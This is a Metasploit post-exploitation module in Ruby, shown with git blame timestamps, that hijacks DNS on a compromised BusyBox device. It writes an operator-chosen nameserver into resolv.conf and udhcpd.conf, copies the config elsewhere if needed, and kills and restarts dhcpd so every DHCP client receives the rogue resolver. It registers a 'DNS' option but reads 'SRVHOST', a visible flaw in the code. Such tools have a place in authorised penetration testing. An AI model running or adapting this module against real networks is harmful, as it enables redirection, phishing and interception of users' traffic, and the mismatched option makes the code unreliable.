Files
metasploit-gs/modules/post/linux/busybox/set_dns.rb
T

79 lines
2.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
include Msf::Post::File
2015-08-28 11:50:17 -05:00
include Msf::Post::Linux::BusyBox
def initialize
super(
2015-08-28 11:00:46 -05:00
'Name' => 'BusyBox DNS Configuration',
'Description' => %q{
This module will be applied on a session connected to a BusyBox shell. It allows
to set the DNS server on the device executing BusyBox so it will be sent by the
DHCP server to network hosts.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
2015-08-28 11:00:46 -05:00
'SessionTypes' => ['shell']
)
register_options(
[
2015-08-28 11:00:46 -05:00
OptAddress.new('DNS', [ true, 'The dns server address' ])
])
end
def run
2015-08-28 11:00:46 -05:00
print_status("Searching for files to modify dns server.")
2015-08-28 11:56:12 -05:00
if busy_box_file_exist?('/etc/resolv.conf')
2015-08-28 11:00:46 -05:00
modify_resolv_conf
end
2015-08-28 11:00:46 -05:00
2015-08-28 11:56:12 -05:00
if busy_box_file_exist?('/etc/udhcpd.conf')
2015-08-28 11:00:46 -05:00
modify_udhcpd_conf
end
end
def modify_resolv_conf
print_status('File /etc/resolv.conf found')
2015-08-28 13:26:52 -05:00
if busy_box_write_file('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false)
2015-08-28 11:00:46 -05:00
print_good('DNS server added to resolv.conf')
end
end
def modify_udhcpd_conf
print_status('File /etc/udhcpd.conf found')
2015-08-28 13:26:52 -05:00
if busy_box_write_file('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true)
2015-08-28 11:00:46 -05:00
restart_dhcpd('/etc/udhcpd.conf')
else
print_status('Unable to write udhcpd.conf, searching a writable directory...')
2015-08-28 13:26:52 -05:00
writable_directory = busy_box_writable_dir
2015-08-28 11:00:46 -05:00
if writable_directory
print_status("Copying the original udhcpd.conf to #{writable_directory}tmp.conf")
cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf")
Rex::sleep(0.3)
print_status("Adding DNS to #{writable_directory}tmp.conf")
2015-08-28 13:26:52 -05:00
busy_box_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)
2015-08-28 11:00:46 -05:00
restart_dhcpd("#{writable_directory}tmp.conf")
else
2015-08-28 11:00:46 -05:00
print_error('Writable directory not found')
end
end
end
2015-08-28 11:00:46 -05:00
def restart_dhcpd(conf)
print_status('Restarting udhcp server')
cmd_exec('killall dhcpd')
# in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command
# that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd
# process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>"
session.shell_write("dhcpd #{conf} &\n")
print_good('udhcpd.conf modified and DNS server added. DHCPD restarted')
end
end